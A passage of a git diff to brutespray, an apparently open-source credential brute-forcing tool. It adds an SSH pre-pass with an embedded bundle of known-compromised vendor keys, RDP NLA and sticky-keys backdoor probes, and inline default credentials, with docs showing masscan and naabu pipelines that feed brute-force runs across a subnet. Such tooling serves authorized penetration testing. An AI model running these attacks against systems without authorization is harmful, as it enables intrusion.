+ client := ssh.NewClient(c, chans, reqs)
+ defer client.Close()
+ // Fix 3: capture server banner (high-value for a bad-key hit).
+ return &BruteResult{
+ AuthSuccess: true,
+ ConnectionSuccess: true,
+ Banner: string(c.ServerVersion()),
+ KeyMatch: &KeyMatch{
+ Fingerprint: e.PEMHash,
+ Vendor: e.Vendor,
+ CVE: e.CVE,
+ Description: e.Description,
+ },
+ }
+}
+
func init() { Register("ssh", BruteSSH) }
diff --git a/brute/ssh_badkeys_test.go b/brute/ssh_badkeys_test.go
new file mode 100644
index 0000000..3ae4736
--- /dev/null
+++ b/brute/ssh_badkeys_test.go
@@ -0,0 +1,70 @@
+package brute
+
+import (
+ "testing"
+ "time"
+
+ "github.com/x90skysn3k/brutespray/v2/brute/badkeys"
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+func TestBadKeysPlanCoversBundle(t *testing.T) {
+ bundle, err := badkeys.Load()
+ if err != nil {
+ t.Fatalf("badkeys.Load: %v", err)
+ }
+ plan := PlanBadKeyAttempts(bundle, "")
+ if len(plan) != len(bundle) {
+ t.Fatalf("plan size = %d, bundle = %d", len(plan), len(bundle))
+ }
+ for _, a := range plan {
+ if a.Username == "" {
+ t.Fatalf("attempt missing username: %+v", a)
+ }
+ }
+}
+
+func TestBadKeysPlanRespectsExplicitUser(t *testing.T) {
+ bundle, err := badkeys.Load()
+ if err != nil {
+ t.Fatalf("badkeys.Load: %v", err)
+ }
+ plan := PlanBadKeyAttempts(bundle, "admin")
+ for _, a := range plan {
+ if a.Username != "admin" {
+ t.Fatalf("explicit username override failed: %s", a.Username)
+ }
+ }
+}
+
+// TestAttemptBadKeyReturnsConnectionFailureOnBadPEM verifies that a corrupt
+// PEM blob (which triggers a parse error before any network I/O) causes
+// attemptBadKey to return ConnectionSuccess=false. Prior to the fix the
+// function returned ConnectionSuccess=true, which incorrectly credited the
+// circuit-breaker and broke the retry logic.
+func TestAttemptBadKeyReturnsConnectionFailureOnBadPEM(t *testing.T) {
+ cm, err := modules.NewConnectionManager("", 5*time.Second)
+ if err != nil {
+ t.Fatalf("NewConnectionManager: %v", err)
+ }
+
+ badEntry := badkeys.Entry{
+ File: "test-invalid.pem",
+ Username: "root",
+ PEM: []byte("not a valid PEM key"),
+ }
+
+ r := attemptBadKey("127.0.0.1", 22, "root", badEntry, 5*time.Second, cm)
+ if r == nil {
+ t.Fatal("attemptBadKey returned nil")
+ }
+ if r.ConnectionSuccess {
+ t.Error("expected ConnectionSuccess=false for bad PEM, got true")
+ }
+ if r.Error == nil {
+ t.Error("expected non-nil Error for bad PEM, got nil")
+ }
+ if r.AuthSuccess {
+ t.Error("expected AuthSuccess=false for bad PEM, got true")
+ }
+}
diff --git a/brute/types.go b/brute/types.go
new file mode 100644
index 0000000..b0c97d3
--- /dev/null
+++ b/brute/types.go
@@ -0,0 +1,20 @@
+package brute
+
+// Finding represents a pre-auth recon result (e.g. SSH bad-key match,
+// RDP NLA missing, RDP sticky-keys backdoor). Modules can return findings
+// without a successful authentication attempt.
+type Finding struct {
+ Severity string // INFO, WARN, HIGH, CRITICAL
+ Code string // e.g. "rdp-nla-missing", "rdp-stickykeys", "ssh-badkey"
+ Message string
+ CVE string // optional, e.g. "CVE-2012-1493"
+}
+
+// KeyMatch records a successful SSH key authentication originating from
+// the embedded bad-keys bundle.
+type KeyMatch struct {
+ Fingerprint string
+ Vendor string
+ CVE string
+ Description string
+}
diff --git a/brutespray/brutespray.go b/brutespray/brutespray.go
index 2bc7ae3..9c54014 100644
--- a/brutespray/brutespray.go
+++ b/brutespray/brutespray.go
@@ -12,11 +12,23 @@ import (
"github.com/x90skysn3k/brutespray/v2/brute"
"github.com/x90skysn3k/brutespray/v2/modules"
"github.com/x90skysn3k/brutespray/v2/tui"
+ "golang.org/x/term"
)
func Execute() {
cfg := ParseConfig()
+ // Read targets from stdin when -f is unset and stdin is piped (not a TTY).
+ // Auto-detects naabu/nerva URI/Nerva JSON/fingerprintx JSON/masscan JSON.
+ if cfg.File == "" && !term.IsTerminal(int(os.Stdin.Fd())) {
+ hosts, err := modules.ParseStream(os.Stdin)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "stdin parse: %v\n", err)
+ os.Exit(2)
+ }
+ cfg.Hosts = append(cfg.Hosts, hosts...)
+ }
+
totalHosts := len(cfg.Hosts)
// Only enable the circuit breaker in spray mode where skipping unreachable
@@ -60,6 +72,19 @@ func executeTUI(cfg *Config, cm *modules.ConnectionManager, totalHosts int) {
eventBus := tui.NewEventBus()
modules.ErrorSink = eventBus.SendError
+ modules.FindingSink = func(severity, code, service, target, message, cve string) {
+ eventBus.Send(tui.FindingMsg{
+ Entry: tui.FindingEntry{
+ Severity: severity,
+ Code: code,
+ Service: service,
+ Target: target,
+ Message: message,
+ CVE: cve,
+ Time: time.Now(),
+ },
+ })
+ }
workerPool := NewWorkerPool(cfg.Threads, eventBus, cfg.HostParallelism, totalHosts)
workerPool.stopOnSuccess = cfg.StopOnSuccess
workerPool.rateLimit = cfg.RateLimit
@@ -67,6 +92,10 @@ func executeTUI(cfg *Config, cm *modules.ConnectionManager, totalHosts int) {
workerPool.sprayDelay = cfg.SprayDelay
workerPool.useReversedPass = cfg.UseReversedPass
workerPool.passwordGen = cfg.PasswordGen
+ workerPool.noBadKeys = cfg.NoBadKeys
+ workerPool.badKeysOnly = cfg.BadKeysOnly
+ workerPool.noRDPScan = cfg.NoRDPScan
+ workerPool.inlineCreds = cfg.Creds
// Initialize checkpoint
var replayEntries []modules.SessionEntry
@@ -167,6 +196,10 @@ func executeLegacy(cfg *Config, cm *modules.ConnectionManager, totalHosts int) {
workerPool.sprayDelay = cfg.SprayDelay
workerPool.useReversedPass = cfg.UseReversedPass
workerPool.passwordGen = cfg.PasswordGen
+ workerPool.noBadKeys = cfg.NoBadKeys
+ workerPool.badKeysOnly = cfg.BadKeysOnly
+ workerPool.noRDPScan = cfg.NoRDPScan
+ workerPool.inlineCreds = cfg.Creds
// Initialize checkpoint for resume capability
if cfg.ResumeFile != "" {
diff --git a/brutespray/config.go b/brutespray/config.go
index eee1271..7dd0ed7 100644
--- a/brutespray/config.go
+++ b/brutespray/config.go
@@ -17,7 +17,7 @@ import (
var masterServiceList = brute.Services()
-var BetaServiceList = []string{"asterisk", "nntp", "oracle", "xmpp", "ldap", "ldaps", "winrm", "ftps", "smtp-vrfy", "rexec", "rlogin", "rsh", "wrapper", "http-form", "https-form", "svn", "socks5-auth"}
+var BetaServiceList = []string{"asterisk", "nntp", "oracle", "xmpp", "ldap", "ldaps", "winrm", "ftps", "smtp-vrfy", "rexec", "rlogin", "rsh", "wrapper", "http-form", "https-form", "svn", "socks5-auth", "neo4j", "cassandra"}
var version = "2.6.1"
var NoColorMode bool
@@ -85,6 +85,7 @@ var helpGroups = []flagGroup{
{"-u", "user", "Username or user file"},
{"-p", "pass", "Password or password file"},
{"-C", "user:pass", "Combo entry or combo file"},
+ {"-c", "user:pass,...", "Inline credential pairs, comma-separated (e.g. admin:admin,root:toor)"},
{"-e", "nsr", "Extra checks: n=blank, s=user-as-pass, r=reversed"},
{"-x", "MIN:MAX:CHARSET", "Generate passwords (a=lower, A=upper, 1=digit, !=sym)"},
},
@@ -134,6 +135,9 @@ var helpGroups = []flagGroup{
{"-checkpoint", "file", "Checkpoint file (default: brutespray-checkpoint.json)"},
{"-resume", "file", "Resume from checkpoint"},
{"-allow-wrapper", "", "Allow wrapper module (executes commands)"},
+ {"-no-badkeys", "", "Skip SSH bad-keys pre-pass for SSH targets"},
+ {"-badkeys-only", "", "Run SSH bad-keys pre-pass only; skip password attempts"},
+ {"-no-rdp-scan", "", "Skip pre-auth RDP recon (NLA fingerprint, sticky-keys probe)"},
},
},
}
@@ -198,46 +202,50 @@ func customUsage() {
// Config holds all parsed configuration for a brutespray run
type Config struct {
- User string
- Password string
- Combo string
- Output string
- Summary bool
- NoStats bool
- Silent bool
- LogEvery int
- Threads int
- HostParallelism int
- SocksProxy string
- ProxyList string
- NetInterface string
- ServiceType string
- File string
- HostArgs hostListFlag
- Quiet bool
- Timeout time.Duration
- Retry int
- PrintHosts bool
- Domain string
- NoColor bool
- StopOnSuccess bool
- RateLimit float64
- SprayMode bool
- SprayDelay time.Duration
- ResumeFile string
- CheckpointFile string
- ConfigFile string
- TUI bool
- Hosts []modules.Host
- SupportedServices []string
- TotalCombinations int
- ModuleParams map[string]string
- UseUsernameAsPass bool
- UseReversedPass bool
- AllowWrapper bool
- PasswordGenSpec string
- PasswordGen *modules.PasswordGenerator
- OutputFormat string
+ User string
+ Password string
+ Combo string
+ Creds string
+ Output string
+ Summary bool
+ NoStats bool
+ Silent bool
+ LogEvery int
+ Threads int
+ HostParallelism int
+ SocksProxy string
+ ProxyList string
+ NetInterface string
+ ServiceType string
+ File string
+ HostArgs hostListFlag
+ Quiet bool
+ Timeout time.Duration
+ Retry int
+ PrintHosts bool
+ Domain string
+ NoColor bool
+ StopOnSuccess bool
+ RateLimit float64
+ SprayMode bool
+ SprayDelay time.Duration
+ ResumeFile string
+ CheckpointFile string
+ ConfigFile string
+ TUI bool
+ Hosts []modules.Host
+ SupportedServices []string
+ TotalCombinations int
+ ModuleParams map[string]string
+ UseUsernameAsPass bool
+ UseReversedPass bool
+ AllowWrapper bool
+ BadKeysOnly bool
+ NoBadKeys bool
+ NoRDPScan bool
+ PasswordGenSpec string
+ PasswordGen *modules.PasswordGenerator
+ OutputFormat string
}
// Validate checks for mutually exclusive flags, contradictory options,
@@ -248,6 +256,9 @@ func (cfg *Config) Validate() error {
if cfg.User != "" && cfg.Combo != "" {
return fmt.Errorf("-u and -C are mutually exclusive")
}
+ if cfg.NoBadKeys && cfg.BadKeysOnly {
+ return fmt.Errorf("--no-badkeys and --badkeys-only are mutually exclusive")
+ }
// Contradictory flags (warn, don't error)
if cfg.SprayMode && cfg.StopOnSuccess {
@@ -295,6 +306,9 @@ func ParseConfig() *Config {
domain := flag.String("d", "", "Domain to use for RDP authentication (optional)")
noColor := flag.Bool("nc", false, "Disable colored output")
stopOnSuccess := flag.Bool("stop-on-success", false, "Stop testing a host after finding valid credentials")
+ noBadKeys := flag.Bool("no-badkeys", false, "Skip SSH bad-keys pre-pass for SSH targets")
+ badKeysOnly := flag.Bool("badkeys-only", false, "Run SSH bad-keys pre-pass only; skip password attempts")
+ noRDPScan := flag.Bool("no-rdp-scan", false, "Skip pre-auth RDP recon (NLA fingerprint, sticky-keys probe)")
rateLimit := flag.Float64("rate", 0, "Per-host rate limit in attempts/second; fractional values supported (e.g. 0.1 = 1 attempt every 10s; 0 = unlimited)")
attemptDelay := flag.Duration("delay", 0, "Per-host delay between attempts (e.g. 10s); alias for -rate, mutually exclusive")
sprayMode := flag.Bool("spray", false, "Spray mode: try each password across all users before next password (avoids lockouts)")
@@ -306,6 +320,8 @@ func ParseConfig() *Config {
var moduleParamsArgs moduleParamsFlag
flag.Var(&moduleParamsArgs, "m", "Module-specific parameter in KEY:VALUE format (repeatable). Example: -m auth:NTLM -m dir:/admin")
extraCreds := flag.String("e", "", "Extra password checks: n=blank password, s=password=username, r=reversed username, combine: nsr")
+ inlineCreds := flag.String("creds", "", "Inline credential pairs, comma-separated: user:pass,user2:pass2")
+ flag.StringVar(inlineCreds, "c", "", "Alias for --creds")
allowWrapper := flag.Bool("allow-wrapper", false, "Allow the wrapper module to execute arbitrary commands (required for security)")
passwordGen := flag.String("x", "", "Generate passwords: MIN:MAX:CHARSET (a=lower, A=upper, 1=digits, !=symbols). Example: -x 4:4:1")
outputFormat := flag.String("output-format", "text", "Output format: text (default) or json (JSONL per-attempt)")
@@ -410,6 +426,7 @@ func ParseConfig() *Config {
cfg.User = *user
cfg.Password = *password
cfg.Combo = *combo
+ cfg.Creds = *inlineCreds
cfg.Output = *output
cfg.Summary = *summary
cfg.NoStats = *noStats
@@ -428,6 +445,9 @@ func ParseConfig() *Config {
cfg.Domain = *domain
cfg.NoColor = *noColor
cfg.StopOnSuccess = *stopOnSuccess
+ cfg.NoBadKeys = *noBadKeys
+ cfg.BadKeysOnly = *badKeysOnly
+ cfg.NoRDPScan = *noRDPScan
cfg.RateLimit = *rateLimit
if *attemptDelay > 0 {
if cfg.RateLimit > 0 {
diff --git a/brutespray/dispatch.go b/brutespray/dispatch.go
index d24db27..3084504 100644
--- a/brutespray/dispatch.go
+++ b/brutespray/dispatch.go
@@ -1,14 +1,63 @@
package brutespray
import (
+ "fmt"
+ "os"
+ "strings"
"time"
"github.com/pterm/pterm"
"github.com/x90skysn3k/brutespray/v2/brute"
+ "github.com/x90skysn3k/brutespray/v2/brute/badkeys"
"github.com/x90skysn3k/brutespray/v2/modules"
"github.com/x90skysn3k/brutespray/v2/tui"
)
+// BadKeyCred is a synthetic user/password pair for the SSH bad-keys pre-pass.
+// Password carries the marker "::badkey::N" where N indexes into the bundle;
+// BruteSSH unpacks this marker (see brute/ssh.go:badKeyMarker).
+type BadKeyCred struct {
+ User string
+ Password string
+}
+
+// BuildBadKeyCreds turns the embedded bad-keys bundle into a list of synthetic
+// credential pairs. When userOverride is set (operator passed -u explicitly),
+// every pair uses that username; otherwise each entry's metadata-suggested
+// user is used (root for F5, vagrant for Vagrant, etc.).
+func BuildBadKeyCreds(bundle []badkeys.Entry, userOverride string) []BadKeyCred {
+ out := make([]BadKeyCred, 0, len(bundle))
+ for i, e := range bundle {
+ u := e.Username
+ if userOverride != "" {
+ u = userOverride
+ }
+ out = append(out, BadKeyCred{
+ User: u,
+ Password: fmt.Sprintf("::badkey::%d", i),
+ })
+ }
+ return out
+}
+
+// ParseInlineCreds parses "user:pass,user2:pass2" form into BadKeyCred-shaped
+// pairs (reusing the same struct for symmetry with the bad-keys path).
+// Splits each pair on the FIRST colon so passwords containing colons survive.
+func ParseInlineCreds(s string) []BadKeyCred {
+ if s == "" {
+ return nil
+ }
+ var out []BadKeyCred
+ for _, part := range strings.Split(s, ",") {
+ idx := strings.Index(part, ":")
+ if idx < 0 {
+ continue
+ }
+ out = append(out, BadKeyCred{User: part[:idx], Password: part[idx+1:]})
+ }
+ return out
+}
+
// reverseString returns the reversed version of a string.
func reverseString(s string) string {
runes := []rune(s)
@@ -18,6 +67,12 @@ func reverseString(s string) string {
return string(runes)
}
+// emitFinding routes a pre-auth recon finding through the output layer
+// (text/JSONL/TUI) via modules.WriteFinding.
+func emitFinding(host modules.Host, f *brute.Finding) {
+ modules.WriteFinding(f.Severity, f.Code, host.Service, host.Host, host.Port, f.Message, f.CVE)
+}
+
// ProcessHost processes a single host with all its credentials using dedicated host worker pool
func (wp *WorkerPool) ProcessHost(host modules.Host, service string, combo string, user string, password string, version string, timeout time.Duration, retry int, output string, cm *modules.ConnectionManager, domain string, moduleParams brute.ModuleParams, useUsernameAsPass bool) {
// Skip hosts already completed in a previous run
@@ -185,7 +240,57 @@ func (wp *WorkerPool) ProcessHost(host modules.Host, service string, combo strin
}
}
- if wp.sprayMode {
+ // Inline credential pairs from --creds / -c — fire first across ALL services.
+ if wp.inlineCreds != "" {
+ for _, p := range ParseInlineCreds(wp.inlineCreds) {
+ if !queueCred(p.User, p.Password) {
+ break
+ }
+ }
+ }
+
+ // SSH bad-keys pre-pass: try the embedded bundle before any password list.
+ // Opt-out via --no-badkeys; --badkeys-only short-circuits the regular loop.
+ if service == "ssh" && !wp.noBadKeys {
+ // effectiveBadKeyUser is the username to apply across the bad-keys pre-pass.
+ // When -u is a file path (wordlist), we cannot use a single value — fall back
+ // to each entry's metadata-suggested user. When -u is a bare username, use it
+ // as the override.
+ effectiveBadKeyUser := ""
+ if user != "" {
+ if _, statErr := os.Stat(user); statErr != nil {
+ // Not a file → treat as a bare username
+ effectiveBadKeyUser = user
+ }
+ }
+ if bundle, err := badkeys.Load(); err == nil {
+ for _, pair := range BuildBadKeyCreds(bundle, effectiveBadKeyUser) {
+ if !queueCred(pair.User, pair.Password) {
+ break
+ }
+ }
+ } else {
+ fmt.Fprintf(os.Stderr, "warning: bad-keys bundle load failed (skipping pre-pass): %v\n", err)
+ }
+ }
+ // RDP pre-auth recon: NLA fingerprint + sticky-keys probe.
+ // Opt-out via --no-rdp-scan. Unlike --badkeys-only there is no
+ // RDP-scan-only mode — regular cred attempts always continue after.
+ if service == "rdp" && !wp.noRDPScan {
+ findings := brute.ScanRDPRecon(host.Host, host.Port, timeout)
+ for _, f := range findings {
+ emitFinding(host, f)
+ }
+ }
+
+ if service == "ssh" && wp.badKeysOnly {
+ // NOTE: --badkeys-only returns before the regular cred loop, which means
+ // hostPool.jobQueue is not closed here. Global wp.Stop() handles eventual
+ // cleanup; tighten if profiling shows the premature exit matters.
+ return
+ }
+
+ if wp.sprayMode {
// Spray: try each password across all users before next password
// Prepend username-as-password round if -e s
diff --git a/brutespray/dispatch_badkeys_test.go b/brutespray/dispatch_badkeys_test.go
new file mode 100644
index 0000000..c8917e9
--- /dev/null
+++ b/brutespray/dispatch_badkeys_test.go
@@ -0,0 +1,99 @@
+package brutespray
+
+import (
+ "fmt"
+ "testing"
+
+ "github.com/x90skysn3k/brutespray/v2/brute/badkeys"
+)
+
+func TestValidateRejectsContradictoryBadKeyFlags(t *testing.T) {
+ cfg := &Config{NoBadKeys: true, BadKeysOnly: true, ServiceType: "all"}
+ if err := cfg.Validate(); err == nil {
+ t.Fatal("expected error for --no-badkeys + --badkeys-only, got nil")
+ }
+}
+
+func TestBuildBadKeyCredsProducesMarkers(t *testing.T) {
+ bundle, err := badkeys.Load()
+ if err != nil {
+ t.Fatalf("badkeys.Load: %v", err)
+ }
+ pairs := BuildBadKeyCreds(bundle, "")
+ if len(pairs) != len(bundle) {
+ t.Fatalf("got %d pairs, want %d", len(pairs), len(bundle))
+ }
+ for i, p := range pairs {
+ wantPass := fmt.Sprintf("::badkey::%d", i)
+ if p.Password != wantPass {
+ t.Fatalf("pair[%d].Password = %q, want %q", i, p.Password, wantPass)
+ }
+ }
+}
+
+func TestBuildBadKeyCredsRespectsExplicitUser(t *testing.T) {
+ bundle, err := badkeys.Load()
+ if err != nil {
+ t.Fatalf("badkeys.Load: %v", err)
+ }
+ pairs := BuildBadKeyCreds(bundle, "admin")
+ for _, p := range pairs {
+ if p.User != "admin" {
+ t.Fatalf("user override failed: %q", p.User)
+ }
+ }
+}
+
+func TestBuildBadKeyCredsUsesMetadataUserByDefault(t *testing.T) {
+ bundle, err := badkeys.Load()
+ if err != nil {
+ t.Fatalf("badkeys.Load: %v", err)
+ }
+ pairs := BuildBadKeyCreds(bundle, "")
+ // Find the Vagrant entry and confirm its pair uses "vagrant" as user
+ for i, e := range bundle {
+ if e.Vendor == "HashiCorp Vagrant" {
+ if pairs[i].User != "vagrant" {
+ t.Fatalf("vagrant default user not preserved: got %q", pairs[i].User)
+ }
+ return
+ }
+ }
+ t.Fatal("no Vagrant entry in bundle")
+}
+
+func TestParseInlineCredsBasic(t *testing.T) {
+ pairs := ParseInlineCreds("admin:admin,root:toor")
+ if len(pairs) != 2 {
+ t.Fatalf("got %d pairs, want 2: %+v", len(pairs), pairs)
+ }
+ if pairs[0].User != "admin" || pairs[0].Password != "admin" {
+ t.Fatalf("pair[0]: %+v", pairs[0])
+ }
+ if pairs[1].User != "root" || pairs[1].Password != "toor" {
+ t.Fatalf("pair[1]: %+v", pairs[1])
+ }
+}
+
+func TestParseInlineCredsPasswordWithColon(t *testing.T) {
+ pairs := ParseInlineCreds("user::pass:word")
+ if len(pairs) != 1 {
+ t.Fatalf("got %d, want 1", len(pairs))
+ }
+ if pairs[0].User != "user" || pairs[0].Password != ":pass:word" {
+ t.Fatalf("colon-in-password not preserved: %+v", pairs[0])
+ }
+}
+
+func TestParseInlineCredsEmpty(t *testing.T) {
+ if got := ParseInlineCreds(""); got != nil {
+ t.Fatalf("empty input should be nil, got %+v", got)
+ }
+}
+
+func TestParseInlineCredsSkipsInvalidPair(t *testing.T) {
+ pairs := ParseInlineCreds("admin:admin,notapair,root:toor")
+ if len(pairs) != 2 {
+ t.Fatalf("invalid middle pair should be skipped: got %d", len(pairs))
+ }
+}
diff --git a/brutespray/dispatch_rdp_test.go b/brutespray/dispatch_rdp_test.go
new file mode 100644
index 0000000..3765afe
--- /dev/null
+++ b/brutespray/dispatch_rdp_test.go
@@ -0,0 +1,50 @@
+package brutespray
+
+import (
+ "bytes"
+ "io"
+ "os"
+ "strings"
+ "testing"
+
+ "github.com/x90skysn3k/brutespray/v2/brute"
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+func captureStdoutDispatch(fn func()) string {
+ old := os.Stdout
+ r, w, _ := os.Pipe()
+ os.Stdout = w
+ fn()
+ w.Close()
+ os.Stdout = old
+ var buf bytes.Buffer
+ _, _ = io.Copy(&buf, r)
+ return buf.String()
+}
+
+func TestEmitFindingFormat(t *testing.T) {
+ modules.NoColorMode = true
+ defer func() { modules.NoColorMode = false }()
+
+ h := modules.Host{Service: "rdp", Host: "10.0.0.5", Port: 3389}
+ f := &brute.Finding{Severity: "WARN", Code: "rdp-nla-missing", Message: "NLA not enforced"}
+ out := captureStdoutDispatch(func() { emitFinding(h, f) })
+ for _, want := range []string{"WARN", "rdp", "10.0.0.5:3389", "NLA not enforced"} {
+ if !strings.Contains(out, want) {
+ t.Fatalf("output missing %q: %s", want, out)
+ }
+ }
+}
+
+func TestEmitFindingIncludesCVE(t *testing.T) {
+ modules.NoColorMode = true
+ defer func() { modules.NoColorMode = false }()
+
+ h := modules.Host{Service: "ssh", Host: "10.0.0.5", Port: 22}
+ f := &brute.Finding{Severity: "HIGH", Code: "ssh-badkey", Message: "F5 default key", CVE: "CVE-2012-1493"}
+ out := captureStdoutDispatch(func() { emitFinding(h, f) })
+ if !strings.Contains(out, "CVE-2012-1493") {
+ t.Fatalf("CVE missing from output: %s", out)
+ }
+}
diff --git a/brutespray/pool.go b/brutespray/pool.go
index b685e42..084a51a 100644
--- a/brutespray/pool.go
+++ b/brutespray/pool.go
@@ -91,6 +91,13 @@ type WorkerPool struct {
// Extra credential options
useReversedPass bool
passwordGen *modules.PasswordGenerator
+ // SSH bad-keys pre-pass control
+ noBadKeys bool
+ badKeysOnly bool
+ // RDP pre-auth recon control
+ noRDPScan bool
+ // Inline credential pairs from --creds / -c
+ inlineCreds string
}
// NewHostWorkerPool creates a new host-specific worker pool
@@ -539,6 +546,7 @@ func (hwp *HostWorkerPool) processCredential(cred Credential, timeout time.Durat
Duration: duration,
Timestamp: startTime,
Banner: result.Banner,
+ KeyMatch: result.KeyMatch,
})
// Write to session log for resume replay
diff --git a/docs/advanced.md b/docs/advanced.md
index f5219ba..be28ce3 100644
--- a/docs/advanced.md
+++ b/docs/advanced.md
@@ -303,3 +303,66 @@ Use `-m form-url:/path` if the CSRF form page differs from the login URL.
| wrapper | `cmd` | command | Command template with %H/%P/%U/%W |
| smbnt | `domain` | string | SMB domain |
| rdp | `domain` | string | RDP domain |
+
+## SSH bad-keys
+
+Brutespray ships an embedded bundle of known-compromised SSH client private
+keys (Rapid7 ssh-badkeys + HashiCorp Vagrant + per-vendor defaults). When
+the target service is SSH, brutespray tries each bundle key with its
+metadata-suggested default username before any password attempts.
+
+| Flag | Effect |
+|---|---|
+| (default) | Bad-keys pass runs first; passwords follow if no key matches |
+| `--no-badkeys` | Skip the bad-keys pass entirely |
+| `--badkeys-only` | Run the bad-keys pass only; skip password attempts |
+
+Successful matches surface as `BADKEY` lines (text mode) or `type:badkey`
+JSONL records (JSON mode) carrying the vendor and CVE identifier.
+
+### Bundled keys
+
+| Vendor | Default user | CVE |
+|---|---|---|
+| HashiCorp Vagrant | vagrant | (insecure default — no CVE) |
+| F5 BIG-IP | root | CVE-2012-1493 |
+| ExaGrid EX | root | CVE-2016-1561 |
+| Ceragon FibeAir | mateidu | CVE-2015-0936 |
+| Monroe Electronics DASDEC | root | CVE-2013-0137 |
+| Barracuda Load Balancer | root | CVE-2014-8428 |
+| Array Networks vAPV/vxAG | sync | — |
+| Loadbalancer.org Enterprise VA | root | — |
+| Quantum DXi V1000 | root | — |
+
+The bundle refreshes alongside the monthly wordlist update cadence.
+
+## Pre-auth RDP recon
+
+When the target service is `rdp`, brutespray runs two pre-auth probes
+before any credential attempt. Findings flow through normal output
+channels (text, JSONL, TUI Findings tab) without consuming credential
+attempts. Opt out with `--no-rdp-scan`.
+
+### NLA fingerprint
+
+A single X.224 Connection Request classifies the server's RDPneg response:
+
+- `[INFO] rdp NLA (CredSSP) enforced` — standard RDP refused
+- `[INFO] rdp HybridEx (NLA + CredSSP early-user) enforced`
+- `[WARN] rdp NLA not enforced — server accepts standard RDP`
+
+### Sticky-keys backdoor probe
+
+When NLA is not enforced, brutespray connects to the GINA logon screen,
+sends 5× Shift keypresses (the sticky-keys trigger), and compares
+framebuffer snapshots before and after. If the post-trigger frame
+matches the heuristic for a cmd.exe console (predominantly black with
+monospaced white text in the top region), the finding is:
+
+`[CRITICAL] rdp sticky-keys backdoor detected`
+
+If the framebuffer changed but the console signature does not match:
+
+`[INFO] rdp sticky-keys inconclusive — manual verification recommended`
+
+Probe errors land on stderr; no finding is emitted unless detection completes.
diff --git a/docs/output.md b/docs/output.md
index ffbc81e..52b13ee 100644
--- a/docs/output.md
+++ b/docs/output.md
@@ -71,3 +71,32 @@ chmod +x brutespray-nxc.sh
| `-nc` | Disable colored output |
| `-q` | Suppress the banner |
| `--no-tui` | Use legacy text output instead of interactive TUI |
+
+## Finding records (JSONL)
+
+Pre-auth recon results emit one JSON object per line in JSONL mode:
+
+```json
+{"type":"finding","severity":"WARN","code":"rdp-nla-missing","service":"rdp","target":"10.0.0.5:3389","message":"NLA not enforced — server accepts standard RDP without pre-auth"}
+{"type":"finding","severity":"CRITICAL","code":"rdp-stickykeys","service":"rdp","target":"10.0.0.5:3389","message":"sticky-keys backdoor detected (cmd.exe shell at logon screen)"}
+```
+
+| Field | Description |
+|---|---|
+| `type` | Always `"finding"` |
+| `severity` | `INFO`, `WARN`, `HIGH`, `CRITICAL` |
+| `code` | Stable machine identifier: `rdp-nla-required`, `rdp-nla-missing`, `rdp-nla-hybridex`, `rdp-stickykeys`, `rdp-stickykeys-inconclusive` |
+| `service` / `target` | Target identification |
+| `message` | Human-readable description |
+| `cve` | Present only when a CVE applies |
+
+## BADKEY records (JSONL)
+
+When SSH authentication succeeds against an embedded bad key, the per-success
+output channel emits a distinct `badkey` record alongside the regular `success`
+line:
+
+```json
+{"type":"badkey","service":"ssh","target":"10.0.0.5:22","username":"vagrant","vendor":"HashiCorp Vagrant","description":"Vagrant insecure default key (any Vagrant VM pre-2014)"}
+{"type":"badkey","service":"ssh","target":"10.0.0.6:22","username":"root","vendor":"F5 BIG-IP","cve":"CVE-2012-1493","description":"F5 BIG-IP 9.x-11.x default root SSH key"}
+```
diff --git a/docs/pipeline.md b/docs/pipeline.md
new file mode 100644
index 0000000..375360e
--- /dev/null
+++ b/docs/pipeline.md
@@ -0,0 +1,64 @@
+# Pipeline integration
+
+Brutespray accepts targets on stdin and auto-detects the input format,
+making it a natural terminator for modern recon pipelines.
+
+Supported input formats:
+
+- **naabu** — bare `host:port` lines
+- **Nerva URI** — `scheme://host:port` lines (e.g. `ssh://10.0.0.5:22`)
+- **Nerva JSON** — newline-delimited JSON objects with `ip`/`port`/`protocol`
+- **fingerprintx JSON** — newline-delimited JSON objects with `host`/`port`/`service`
+- **masscan JSON** — masscan `-oJ` array of host records
+
+## naabu → brutespray
+
+```
+naabu -host 10.0.0.0/24 -p 22,3306,3389,5984 -silent \
+ | brutespray -u root -P wordlist/_base/password
+```
+
+naabu emits `host:port` lines; brutespray maps each port to its canonical
+service via the embedded default-port table.
+
+## naabu → fingerprintx → brutespray
+
+```
+naabu -host 10.0.0.0/24 -silent \
+ | fingerprintx --json \
+ | brutespray -u root -P wordlist/_base/password
+```
+
+fingerprintx classifies the service explicitly — brutespray uses that
+directly instead of falling back to the port-table.
+
+## masscan → brutespray
+
+```
+masscan -p22,3389,5984 10.0.0.0/24 -oJ - \
+ | brutespray --no-badkeys -u admin -p admin
+```
+
+masscan's JSON array is decoded; only open ports survive; closed and
+filtered are dropped silently.
+
+## SSH bad-keys only
+
+```
+masscan -p22 10.0.0.0/24 -oJ - \
+ | brutespray --badkeys-only --output-format json -o results.jsonl
+```
+
+Skips password attempts entirely. Each successful match emits a
+`type:badkey` JSONL record carrying the vendor and CVE.
+
+## RDP recon scan
+
+```
+naabu -host 10.0.0.0/24 -p 3389 -silent \
+ | brutespray -s rdp -u test -p test --output-format json -o rdp-findings.jsonl
+```
+
+The NLA fingerprint and sticky-keys probe run before any credential
+attempts. Findings stream into the same JSONL output channel as auth
+attempts — filter by `type=="finding"` downstream.
diff --git a/docs/services.md b/docs/services.md
index 23a375a..13032ea 100644
--- a/docs/services.md
+++ b/docs/services.md
@@ -1,6 +1,6 @@
# Supported Services
-Brutespray supports 30+ protocols. Services marked as **beta** may have edge cases — please [open an issue](https://github.com/x90skysn3k/brutespray/issues) if you encounter problems.
+Brutespray supports 40+ protocols. Services marked as **beta** may have edge cases — please [open an issue](https://github.com/x90skysn3k/brutespray/issues) if you encounter problems.
| Service | Default Port | Status | Notes |
|---------|-------------|--------|-------|
@@ -17,6 +17,11 @@ Brutespray supports 30+ protocols. Services marked as **beta** may have edge cas
| mssql | 1433 | Stable | Configurable domain (`-m domain:CORP`) |
| mongodb | 27017 | Stable | |
| redis | 6379 | Stable | Password-only auth, configurable DB (`-m db:N`) |
+| couchdb | 5984 | Stable | HTTP POST to `/_session`; `-m tls:true` for HTTPS |
+| elasticsearch | 9200 | Stable | HTTP basic auth on `/_cluster/health`; `-m tls:true` for HTTPS |
+| influxdb | 8086 | Stable | v2 token by default; `-m mode:v1` for InfluxDB 1.x basic auth |
